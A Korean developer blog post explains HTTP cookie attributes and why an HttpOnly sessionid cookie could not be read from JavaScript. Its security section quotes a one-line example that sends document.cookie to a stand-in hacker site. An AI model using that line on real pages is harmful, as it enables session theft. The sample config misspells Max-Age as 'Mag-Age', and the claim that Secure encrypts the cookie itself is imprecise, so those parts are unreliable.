본문 바로가기
Http

쿠키에 대하여

by growing.ryan 2022. 8. 19.

1. 삽질의 발단

  1. 프론트앤드 개발을 진행하면서 로그인 여부를 확인하기 위해 sessionid 참조를 하였음
  2. 근데 undefined가 나옴
  3. csrftoken 값을 가져오도록 해보았는데, 잘 돌아감
  4. 왜 csrftoken 값은 가져오는데, sessionid값은 못 가져오는지 모르겠어서 멘붕 중이었음

맨붕의 주석

2. 쿠키 설정

아주 긴~ 삽질 끝에 문제는 쿠키 설정에 있다는 것을 알게 되었고, 쿠키 설정에 대해서 하나하나 확인해 보기로 하였다.

Session cookie vs Permanent Cookie

  • Session cookie는 브라우저가 꺼지면 사라져 버리는 쿠키
  • 반대로 Permanent cookie는 브라우저가 꺼져도 살아있는 쿠키를 의미함

Max-Age vs Expires Max-Age

  • Max-Age: 쿠키가 얼마동안 사는가 (초)
  • Expires: 쿠키가 언제 죽는가

Path & Domain

  • path
    • 디렉토리를 지정을 하면 해당 디렉터리 하위에서만 쿠키가 노출됨. 상위엔 노출 안됨.
    • 예) /cookie에 쿠키를 세팅을 하면 / 에서는 안 보이지만 lemonbase.com/cookie or lemonbase.com/cookie/sub 등에서는 보임
  • domain

보안 관련 설정(중요. 삽질한 부분)

  • HTTP Only: 자바스크립트의 document.cookie를 이용해서 쿠키에 접속하는 것을 막는 옵션입니다.
    • location.href = ‘http://해커사이트/?cookies=’+ document.cookie;
    • 이런 식으로 해커들에게 손쉽게 쿠키값을 모두 탈취당할 수 있음
    • 자바스크립트를 통한 쿠키 탈취 방지
  • Secure: https로 통신하는 경우에만 cookie를 전송한다
    • 네트워크를 직접 감청하여 쿠키를 가로채는 것을 방지
    • 쿠키 자체가 암호화되어 전송하게 됨
    • 개발자가 아래와 같은 코드를 작성하게 되면 http를 통해 쿠키값이 공개돼버리는 실수를 방지
    <img src="http://www.example.com/images/logo.png" />

3. 쿠키 설정 예시

'Set-Cookie': [
	'test_cookie=cookie-test',
	`Permanent=cookie; Mag-Age=${60*60*24*30}`, // 30일
	'Secure=secure; Secure',
	'http-only=HttpOnly; HttpOnly',
	'path=path; Path=/cookie-cookie',
	'Domain=domain; Domain=example.org'
]

 

4.  결론

sessionid는 http 전용 옵션인 켜져 있었고 csrftoken 옵션이 꺼져 있었기 때문에 두 개의 값을 가져오는데 차이가 있었다

 

댓글